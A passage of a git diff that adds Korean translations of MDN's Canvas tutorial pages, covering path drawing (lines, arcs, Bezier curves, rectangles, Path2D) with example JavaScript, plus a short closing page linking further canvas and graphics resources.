+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd>현재 하위 경로의 시작 부분과 연결된 직선을 추가합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>윤곽선을 이용하여 도형을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>경로의 내부를 채워서 내부가 채워진 도형을 그립니다.</dd>
+</dl>
+
+<p>경로를 만들기 위한 첫번째 단계는 <code>beginPath()</code> 메소드를 사용하는 것 입니다. 내부적으로, 경로는 도형을 이루는 하위경로(선, 아치 등)들의 집합으로 이루어져있습니다. 이 메소드가 호출될 때 마다, 하위 경로의 모음은 초기화되며, 우리는 새로운 도형을 그릴 수 있게 됩니다.</p>
+
+<div class="note"><strong>참고:</strong>  현재 열린 path가  비어있는 경우 ( <code>beginPath()</code> 메소드를 사용한 직 후, 혹은캔버스를 새로 생성한 직후), 첫 경로 생성 명령은 실제 동작에 상관 없이 <code>moveTo()</code>로 여겨지게 됩니다. 그렇기 때문에 경로를 초기화한 직후에는 항상 명확하게 시작 위치를 설정해 두는것이 좋습니다.</div>
+
+<p>두번째 단계는 실제로 경로가 그려지는 위치를 설정하는 메소드를 호출하는 것 입니다. 이 내용에 대해서는 곧 보실수 있습니다.</p>
+
+<p>세번째 단계는 선택사항으로 <code>closePath()</code> 메소드를 호출하는 것 입니다. 이 메소드는 현재 점 위치와 시작점 위치를 직선으로 이어서 도형을 닫습니다. 이미 도형이 닫혔거나 한 점만 존재한다면, 이 메소드는 아무것도 하지 않습니다.</p>
+
+<div class="note"><strong>참고:</strong>  <code>fill()</code> 메소드 호출 시, 열린 도형은 자동으로 닫히게 되므로  <code>closePath()</code>메소드를 호출하지 않아도 됩니다. 이것은 <code>stroke()</code> 메소드에는 <strong>적용되지 않습니다</strong>.</div>
+
+<h3 id="삼각형_그리기">삼각형 그리기</h3>
+
+<p>예를 들어, 삼각형을 그리기 위한 코드는 다음과 같습니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ ctx.beginPath();
+ ctx.moveTo(75, 50);
+ ctx.lineTo(100, 75);
+ ctx.lineTo(100, 25);
+ ctx.fill();
+ }
+}
+</pre>
+
+<p>위 코드의 실행 결과는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="펜(pen)_이동하기">펜(pen) 이동하기</h3>
+
+<p>가장 유용한 함수중에 실제로 어떤 것도 그리지 않지만 위에서 언급한 경로의 일부가 되는  <code>moveTo()</code> 함수가 있습니다. 이는 펜이나 연필을 종이위에서 들어 옆으로 옮기는것이라고 보시면 됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>펜을  x와 y 로 지정된 좌표로 옮깁니다.</dd>
+</dl>
+
+<p>캔버스가 초기화 되었거나 <code>beginPath()</code> 메소드가 호출되었을 때, 특정 시작점 설정을 위해 <code>moveTo()</code> 함수를 사용하는것이 좋습니다. 또한 <code>moveTo()</code>  함수는 연결되지 않은 경로를 그리는데에도 사용 할 수 있습니다. 아래의 스마일 아이콘을 봅시다.</p>
+
+<p>코드 snippet을 사용해하여 직접 시도하여 보세요. 앞에서 보았던 <code>draw()</code> 함수(function)를 붙혀넣기 해 보세요.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight:[8,10,12]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ ctx.beginPath();
+ ctx.arc(75, 75, 50, 0, Math.PI * 2, true); // Outer circle
+ ctx.moveTo(110, 75);
+ ctx.arc(75, 75, 35, 0, Math.PI, false); // Mouth (clockwise)
+ ctx.moveTo(65, 65);
+ ctx.arc(60, 65, 5, 0, Math.PI * 2, true); // Left eye
+ ctx.moveTo(95, 65);
+ ctx.arc(90, 65, 5, 0, Math.PI * 2, true); // Right eye
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p> <code>moveTo()</code>를 사용한 코드라인을 지우면 연결된 선들을 확인 할 수 있습니다</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>arc()</code> function에 대하여 더 알아보고 싶다면 아래의  {{anch("Arcs")}} 를 확인하세요.</p>
+</div>
+
+<h3 id="선">선</h3>
+
+<p>직선을 그리기 위해서는 <code>lineTo()</code> 메소드를 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>현재의 드로잉 위치에서 x와 y로 지정된 위치까지 선을 그립니다.</dd>
+</dl>
+
+<p>이 메소드는 선의 끝점의 좌표가 되는 x와 y의 두개의 인자가 필요합니다. 시작점은 이전에 그려진 경로에 의해 결정 되며, 이전 경로의 끝점이 다음 그려지는 경로의 시작점이 됩니다. 또한 시작점은 <code>moveTo()</code> 메소드를 통해 변경될 수 있습니다.</p>
+
+<p>아래의 예시는 하나의 두 삼각형 (윤곽선 삼각형, 색칠된 삼각형)을 그립니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,16,17]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ // Filled triangle
+ ctx.beginPath();
+ ctx.moveTo(25, 25);
+ ctx.lineTo(105, 25);
+ ctx.lineTo(25, 105);
+ ctx.fill();
+
+ // Stroked triangle
+ ctx.beginPath();
+ ctx.moveTo(125, 125);
+ ctx.lineTo(125, 45);
+ ctx.lineTo(45, 125);
+ ctx.closePath();
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>새로운 경로를 지정하기 위해 <code>beginPath()</code> 메소드를 먼저 실행합니다. 그 다음 <code>moveTo()</code> 메소드를 가지고 시작점을 원하는 위치로 새롭게 지정 해 줍니다. 다음은, 두선을 그어 삼각형의 두 면을 그려줍니다.</p>
+
+<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>여러분은 채워진 삼각형과 윤곽선 삼각형의 차이를 확인 하셨을 겁니다. 위에 언급했던 것 처럼, 경로가 채워지게 되면 그 도형은 자동으로 닫히게 되지만 윤곽선 삼각형에서는 그렇지 않기 때문입니다. 만약에 <code>closePath()</code> 메소드를 윤곽선 삼각형 코드에서 지운다면, 오직 두 선만 그려지게 되며 완벽한 삼각형으로 만들어지지 않습니다.</p>
+
+<h3 id="호(arc)">호(arc)</h3>
+
+<p>호나 원을 그리기위해서는 <code>arc()</code> 혹은 <code>arcTo()</code> 메소드를 사용합니다..</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd><em>(x, y)</em> 위치에 원점을 두면서, 반지름 r을 가지고,  <em>startAngle</em> 에서 시작하여 <em>endAngle </em>에서 끝나며 주어진 <em>anticlockwise</em> 방향으로 향하는 (기본값은 시계방향 회전) 호를 그리게 됩니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt>
+ <dd>주어진 제어점들과 반지름으로 호를 그리고,  이전 점과 직선으로 연결합니다.</dd>
+</dl>
+
+<p><code>arc</code> 메소드의 여섯개의 매개변수에 대하여 좀 더 자세하게 알아봅시다: <code>x</code> 와 <code>y</code>는 호를 그릴 때 필요한 원점 좌표입니다. 반지름(<code>radius</code>) 은 말 그대로 호의 반지름을 뜻합니다. <code>startAngle</code> 및 <code>endAngle</code> 매개 변수는 원의 커브를 따라 호의 시작점과 끝점을 라디안 단위로 정의합니다. 이 변수들은 x축을 기준으로 계산됩니다. Boolean 값을 가지는 <code>anticlockwise</code> 변수는 <code>true</code>일 때 호를 반시계 방향으로 그리게 되며, 그렇지 않을 경우에는 시계 방향으로 그리게 됩니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>arc</code> 함수에서 각도는 각이 아닌 라디안 값을 사용합니다. 각도를 라디안으로 바꾸려면 다음의 자바스크립트(JavaScript) 코드를 사용하실 수 있습니다: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>다음의 예제는 우리가 이제껏 봐 왔던 예제들 보다 약간 더 복잡합니다. 이 예제는 12가지의 다양한 각도로 채워진 각기 다른 호를 그립니다.</p>
+
+<p>두개의  <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> loops</a>은 루프를 통해 호(arc)들의 행과 열을 읽기 위해 사용되었습니다. <code>beginPath()</code>를 사용해 각 호의 새로운 경로를 만듭니다. 코드 내에서, 각각의 매개변수들을 명확하게 보여주기 위해 변수로 정의 하였지만, 실제로 사용할때 꼭 필요한 것은 아닙니다.</p>
+
+<p><code>x</code>와 <code>y</code> 좌표는 충분히 명확하게 표기되어야 합니다.  <code>radius</code> 와 <code>startAngle</code>은 고정되어 있습니다. <code>endAngle</code>는 처음 180도 (반원) 에서 시작하고 이후 매번 90도씩 증가하다가 마지막 열에서 완벽한 원을 그립니다.</p>
+
+<p><code>clockwise</code> 매개 변수를 지정한 결과로 첫번째와 세번째 줄은 시계방향으로 원호들이 그려졌고 두번째와 네번째 줄에는 반시계방향의 원호들이 그려졌습니다. 마지막으로 <code>if</code> 문은 위 반쪽이 윤곽선으로, 아래 반쪽이 색으로 채워진 호들을 만들어 냅니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 예제는 다른 예제들 보다 더 큰사이즈의 캔버스가 필요합니다: 150 x 200 픽셀</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[16]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ for (var i = 0; i &lt; 4; i++) {
+ for (var j = 0; j &lt; 3; j++) {
+ ctx.beginPath();
+ var x = 25 + j * 50; // x coordinate
+ var y = 25 + i * 50; // y coordinate
+ var radius = 20; // Arc radius
+ var startAngle = 0; // Starting point on circle
+ var endAngle = Math.PI + (Math.PI * j) / 2; // End point on circle
+ var anticlockwise = i % 2 == 0 ? false : true; // clockwise or anticlockwise
+
+ ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+ if (i &gt; 1) {
+ ctx.fill();
+ } else {
+ ctx.stroke();
+ }
+ }
+ }
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="베지어(Bezier)_곡선과_이차(Quadratic_)곡선">베지어(Bezier) 곡선과 이차(Quadratic )곡선</h3>
+
+<p>다음 경로 타입은 베지어 곡선 (<a class="external" href="https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%A7%80%EC%97%90_%EA%B3%A1%EC%84%A0" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Bézier curves</a>)으로, 삼차(cubic)와 이차(quadric) 변수가 모두 가능합니다. 이 타입은 대게 복잡한 유기체적 형태 (organic shape)를 그리는데 사용됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd><code>cp1x</code> 및 <code>cp1y</code>로 지정된 제어점을 사용하여 현재 펜의 위치에서 <code>x</code>와 <code>y</code>로 지정된 끝점까지 이차 베지어 곡선을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>(<code>cp1x</code>, <code>cp1y</code>) 및 (cp2x, cp2y)로 지정된 제어점을 사용하여 현재 펜 위치에서 <code>x</code> 및 <code>y</code>로 지정된 끝점까지 삼차 베지어 곡선을 그립니다.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">오른쪽의 사진은 두 곡선의 차이를 가장 잘 설명해주고 있습니다. 이차 베지에 곡선은 시작점과 끝점 (파란색 점) 그리고 하나의 <strong>제어점</strong> (control point, 빨간 점으로 표시)을 가지고 있지만, 삼차 베지에 곡선은 두개의 제어점을 사용하고 있습니다.</p>
+
+<p>두 메소드에 모두 사용되는 <code>x</code>와 <code>y</code> 변수는 모두 끝점의 좌표를 나타냅니다. 첫번째 제어점은 <code>cp1x</code> 와 <code>cp1y</code> 좌표로, 두번째 제어점은 <code>cp2x</code> 와 <code>cp2y</code>  좌표로 표시되었습니다.</p>
+
+<p>이차 및 삼차 베지어 곡선을 사용하는 것은 매우 어려울 수 있습니다. Adobe Illustrator와 같은 벡터 드로잉 소프트웨어와는 달리, 우리는 현재 수행중인 작업에 대해 직접적인 시각적 피드백을 받을 수 없기 때문입니다. 이런 점은 복잡한 모양을 그리기 어렵도록 합니다. 다음 예제에서 우리는 간단한 유기체적 형태만 그리도록 하겠지만, 여러분이 연습과 시간을 투자 하신다면, 이후에 더욱 복잡한 도형을 그릴수 있게 될 것입니다.</p>
+
+<p>이 예제는 아주 어려운 점은 없습니다. 두 경우 모두 연속된 곡선이 그려지면서 최종 모양이 완성됩니다.</p>
+
+<h4 id="이차_베지에_곡선(Quadratic_Bezier_curves)">이차 베지에 곡선(Quadratic Bezier curves)</h4>
+
+<p>이 예제는 여러개의 이차 베지어 곡선을 이용해 말풍선을 만들어 냅니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ // Quadratric curves example
+ ctx.beginPath();
+ ctx.moveTo(75, 25);
+ ctx.quadraticCurveTo(25, 25, 25, 62.5);
+ ctx.quadraticCurveTo(25, 100, 50, 100);
+ ctx.quadraticCurveTo(50, 120, 30, 125);
+ ctx.quadraticCurveTo(60, 120, 65, 100);
+ ctx.quadraticCurveTo(125, 100, 125, 62.5);
+ ctx.quadraticCurveTo(125, 25, 75, 25);
+ ctx.stroke();
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="삼차_베지어_곡선_(Cubic_Bezier_curves)">삼차 베지어 곡선 (Cubic Bezier curves)</h4>
+
+<p>이 예제는 삼차 곡선을 이용하여 하트를 그립니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ // Cubic curves example
+ ctx.beginPath();
+ ctx.moveTo(75, 40);
+ ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
+ ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
+ ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
+ ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
+ ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
+ ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
+ ctx.fill();
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="직사각형">직사각형</h3>
+
+<p>직사각형을 캔버스에 직접 그리는 {{anch("직사각형 그리기")}}에서 본 세 가지 메소드 외에 <code>rect()</code> 메소드도 있습니다. 이 메소드는 현재 열린 패스에 직사각형 경로를 추가합니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, width, height)")}}</dt>
+ <dd>좌측상단이 (x, y)이고 폭과 높이가 <code>width</code>와 <code>height</code>인 직사각형을 그립니다.</dd>
+</dl>
+
+<p>이 메소드가 실행되기 전에, (x,y) 매개변수를 가진 <code>moveTo()</code> 메소드가 자동으로 호출됩니다. 즉, 현재의 펜위치가 자동으로 기본 좌표로 초기화 됩니다.</p>
+
+<h3 id="조합하기">조합하기</h3>
+
+<p>이제까지 이 페이지의 예제들은 각각의 도형마다 하나의 path 함수를 가지고 있었습니다. 하지만 도형을 만드는데에 사용되는 경로의 종류와 개수는 제한이 없습니다. 그렇기 때문에 이 마지막 예제에서는 모든 경로 함수를 합쳐 여러 게임 캐릭터들을 그려보도록 하겠습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ roundedRect(ctx, 12, 12, 150, 150, 15);
+ roundedRect(ctx, 19, 19, 150, 150, 9);
+ roundedRect(ctx, 53, 53, 49, 33, 10);
+ roundedRect(ctx, 53, 119, 49, 16, 6);
+ roundedRect(ctx, 135, 53, 49, 33, 10);
+ roundedRect(ctx, 135, 119, 25, 49, 10);
+
+ ctx.beginPath();
+ ctx.arc(37, 37, 13, Math.PI / 7, -Math.PI / 7, false);
+ ctx.lineTo(31, 37);
+ ctx.fill();
+
+ for (var i = 0; i &lt; 8; i++) {
+ ctx.fillRect(51 + i * 16, 35, 4, 4);
+ }
+
+ for (i = 0; i &lt; 6; i++) {
+ ctx.fillRect(115, 51 + i * 16, 4, 4);
+ }
+
+ for (i = 0; i &lt; 8; i++) {
+ ctx.fillRect(51 + i * 16, 99, 4, 4);
+ }
+
+ ctx.beginPath();
+ ctx.moveTo(83, 116);
+ ctx.lineTo(83, 102);
+ ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
+ ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
+ ctx.lineTo(111, 116);
+ ctx.lineTo(106.333, 111.333);
+ ctx.lineTo(101.666, 116);
+ ctx.lineTo(97, 111.333);
+ ctx.lineTo(92.333, 116);
+ ctx.lineTo(87.666, 111.333);
+ ctx.lineTo(83, 116);
+ ctx.fill();
+
+ ctx.fillStyle = 'white';
+ ctx.beginPath();
+ ctx.moveTo(91, 96);
+ ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
+ ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
+ ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
+ ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
+ ctx.moveTo(103, 96);
+ ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
+ ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
+ ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
+ ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
+ ctx.fill();
+
+ ctx.fillStyle = 'black';
+ ctx.beginPath();
+ ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
+ ctx.fill();
+
+ ctx.beginPath();
+ ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
+ ctx.fill();
+ }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx, x, y, width, height, radius) {
+ ctx.beginPath();
+ ctx.moveTo(x, y + radius);
+ ctx.lineTo(x, y + height - radius);
+ ctx.arcTo(x, y + height, x + radius, y + height, radius);
+ ctx.lineTo(x + width - radius, y + height);
+ ctx.arcTo(x + width, y + height, x + width, y + height-radius, radius);
+ ctx.lineTo(x + width, y + radius);
+ ctx.arcTo(x + width, y, x + width - radius, y, radius);
+ ctx.lineTo(x + radius, y);
+ ctx.arcTo(x, y, x, y + radius, radius);
+ ctx.stroke();
+}
+</pre>
+
+<p>결과 이미지는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p>
+
+<p>이 예제는 보기보다 아주 간단하기 때문에 자세한 설명은 생략하겠습니다. 알아 두어야할 가장 중요한 부분은 <code>fillStyle</code>  코드와 사용된 유틸리티 함수 (<code>roundedRect()</code> 부분) 입니다. 유틸리티 함수를 사용하게 되면, 사용해야 할 코드의 양과 복잡함을 줄여주는데 도움을 줍니다.</p>
+
+<p>이 튜토리얼에서 나중에 <code>fillStyle</code>에 대하여 조금 더 자세하게 알아보도록 하겠지만, 지금은 경로의 채우는 색을 기본값(흑백)에서 바꾸었다가 다시 기본값으로 바꾸는 정도로만 사용하였습니다.</p>
+
+<h2 id="Path2D_오브젝트_(Path2D_objects)">Path2D 오브젝트 (Path2D objects)</h2>
+
+<p>마지막 예제에서 보았 듯이, 캔버스에 객체를 그리는 일련의 경로와 그리기 명령이 있을 수 있습니다. 코드를 단순화하고 성능을 향상시키기 위해 최근 버전의 브라우저에서 사용할 수있는 {{domxref("Path2D")}} 객체를 사용하여 이러한 드로잉 명령을 캐시하거나 기록 할 수 있습니다. 이로써 여러분은 경로를 빠르게 다시 실행 시킬 수 있습니다.</p>
+
+<p>어떻게 <code>Path2D</code> object를 생성 할 수 있는지 확인해 봅시다:</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd><code><strong>Path2D()</strong></code> 생성자는 새로운 <code>Path2D</code> 객체를 반환합니다. 선택적으로 다른 경로를 인수로 받거나(복사본을 생성), SVG 경로 데이터로 구성된 문자열을 받아서 객체로 반환합니다.</dd>
+</dl>
+
+<pre class="brush: js">new Path2D(); // empty path object
+new Path2D(path); // copy from another Path2D object
+new Path2D(d); // path from SVG path data</pre>
+
+<p><code>moveTo</code>, <code>rect</code>, <code>arc</code> 혹은 <code>quadraticCurveTo</code> 등과 같은 모든 경로 메소드 (<a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">path methods</a>)들은  <code>Path2D</code> 객체에서 사용 가능합니다.</p>
+
+<p><code>Path2D</code> API는 또한 <code>addPath</code> 메소드를 사용하여 경로를 결합하는 방법을 추가합니다. 예를 들자면, 여러 요소를 사용하는 오브젝트를 만들 때 유용하게 사용 될 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt>
+ <dd>옵션으로 변환 행렬(transformation matrix)을 사용하여 현재 경로에 경로를 추가합니다.</dd>
+</dl>
+
+<h3 id="Path2D_예제">Path2D 예제</h3>
+
+<p>이 예제에서는, 직사각형과 원을 만들어 볼 것입니다. 나중에 사용할 것을 고려하여, 두 도형 모두 <code>Path2D</code> object로 저장 될 것입니다. 새로운 버전의 <code>Path2D</code> API에서는 여러 메소드들이 지금 사용하고있는 path가 아닌 <code>Path2D</code> object를 옵션으로 선택하여 사용 할 수 있도록 업데이트 되었습니다. 아래의 예제에서 보시면, <code>stroke</code> 와 <code>fill</code> 메소드가 오브젝트를 캔버스 위에 그리도록 path 변수와 함께 사용되었습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9]">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ var rectangle = new Path2D();
+ rectangle.rect(10, 10, 50, 50);
+
+ var circle = new Path2D();
+ circle.moveTo(125, 35);
+ circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+ ctx.stroke(rectangle);
+ ctx.fill(circle);
+ }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="SVG_paths_사용하기">SVG paths 사용하기</h3>
+
+<p>새로운 캔버스 path2D API 또다른 강력한 특징 중 하나는, 캔버스의 path를 초기화 하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>를 사용한다는 것입니다. 이는 path 데이터를 이동시키며, SVG와 canvas 에서 재사용 할 수 있도록 해줍니다. </p>
+
+<p>path는 (<code>M10 10</code>) 점으로 이동한 다음, 수평하게 오른쪽으로 으로 80 포인트 (<code>h 80</code>)  만큼 이동합니다. 이후 수직으로 80포인트 (v 80) 내려간 다음, 80 포인트 왼쪽으로 (<code>h -80</code>) 수평하게 이동하고 다시 시작점 (<code>z</code>)으로 돌아갑니다. 예시는 <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths">이곳</a>( <code>Path2D</code> constructor )에서 확인하실 수 있습니다.</p>
+
+<pre class="brush: js;">var p = new Path2D('M10 10 h 80 v 80 h -80 Z');</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
diff --git a/files/ko/web/html/canvas/tutorial/finale/index.html b/files/ko/web/html/canvas/tutorial/finale/index.html
new file mode 100644
index 0000000000..1241680c5c
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/finale/index.html
@@ -0,0 +1,51 @@
+---
+title: Finale
+slug: Web/HTML/Canvas/Tutorial/Finale
+tags:
+ - 그래픽
+ - 캔버스
+ - 튜토리얼
+translation_of: Web/API/Canvas_API/Tutorial/Finale
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</div>
+
+<div class="summary">
+<p>축하합니다 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas </a>튜토리얼을 모두 끝마쳤습니다! 이 정보는 웹에서 더 나은 2D 그래픽을 만드는데 도움이 됩니다.</p>
+</div>
+
+<h2 id="더_많은_예시와_튜토리얼">더 많은 예시와 튜토리얼</h2>
+
+<p>이 사이트에는 다양한 데모와 canvas에 대한 추가 설명이 있다.</p>
+
+<dl>
+ <dt><a href="https://codepen.io/search/pens?q=canvas">Codepen.io</a></dt>
+ <dd>프론트 엔드 개발자 playground 및 브라우저의 코드 편집기.</dd>
+ <dt><a href="http://www.html5canvastutorials.com/">HTML5 Canvas Tutorials</a></dt>
+ <dd>대부분 canvas API의 예시</dd>
+ <dt><a href="/en-US/docs/Games">Game development</a></dt>
+ <dd>게임은 가장 인기있는 컴퓨터 활동 중 하나이다. 어떤 표준 규격의 웹 브라우저에서도 실행할 수 있는 더 나은 게임을 개발할 수 있도록 하기 위한 신기술이 끊임없이 등장하고 있다.</dd>
+</dl>
+
+<h2 id="기타_웹API">기타 웹API</h2>
+
+<p>이 API들는 canvas 및 그래픽으로 작업할 때 유용하다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>3D를 포함한 복잡한 그래픽 렌더링을 위한 고급 API.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>확장 가능한 Vector Graphics는 이미지를 벡터(선)과 형태의 집합으로 묘사하여 이미지를 그리는 크기에 상관없이 원활하게 확장할 수 있다.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio</a></dt>
+ <dd>Web Audio API는 개발자들이 오디오 소스 선택, 오디오에 효과 추가, 오디오 시각화 생성, 공간 효과 적용(예: 패닝)등을 할 수 있도록 웹 상에서 오디오를 제어하기 위한 다양하고 좋은 시스템을 제공한다.</dd>
+</dl>
+
+<h2 id="문의사항">문의사항</h2>
+
+<dl>
+ <dt><a href="http://stackoverflow.com/questions/tagged/canvas">Stack Overflow</a></dt>
+ <dd>"canvas"가 태그된 문의사항.</dd>
+ <dt><a href="/en-US/docs/MDN">Comments about this tutorial – the MDN documentation community</a></dt>
+ <dd>이 튜토리얼에 대해 의견이 있으시거나 저희에게 감사를 표하고 싶다면 언제든지 연락해주세요!</dd>
+</dl>
+
